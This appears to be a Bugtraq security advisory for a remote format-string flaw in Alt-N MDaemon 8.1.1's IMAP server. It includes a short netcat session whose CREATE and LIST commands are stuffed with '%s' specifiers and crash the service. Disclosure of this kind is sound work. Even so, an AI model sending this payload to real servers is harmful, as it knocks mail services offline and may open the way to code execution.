Alt-N MDaemon IMAP Server Remote Format String Vulnerability

Bugtraq ID:	16854
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 27 2006 12:00AM
Updated:	Dec 13 2006 06:18PM
Credit:	Discovery is credited to Nemesis Security Audit Group.
Vulnerable:	Altn MDaemon 8.1.1
Not Vulnerable:

Alt-N MDaemon IMAP Server Remote Format String Vulnerability

Alt-N MDaemon IMAP Server is affected by a remote format-string vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in the format-specifier argument to a formatted printing function.

This vulnerability may be leveraged to consume excessive CPU resources or to crash the service. Due to the nature of this issue, remote code execution is likely possible, although this has not been confirmed.

Alt-N MDaemon 8.1.1 is reported to be vulnerable. Other versions are likely affected as well.

Alt-N MDaemon IMAP Server Remote Format String Vulnerability

The following IMAP sequence is sufficient to demonstrate causing a denial of service condition:

M:\Distrib\nc>nc -v 127.0.0.1 143
Blaster [127.0.0.1] 143 (imap) open
* OK hack.com IMAP4rev1 MDaemon 8.1.1 ready
0001 LOGIN "user" "password"
0001 OK LOGIN completed
0003 CREATE "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s"
0003 OK CREATE completed
0004 LIST "%s%s%s%s%s%s%s" "%s"

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Alt-N MDaemon IMAP Server Remote Format String Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Alt-N MDaemon IMAP Server Remote Format String Vulnerability

References:

• MDaemon IMAP Server v.8.1.1 (Nemesis Security Audit Group)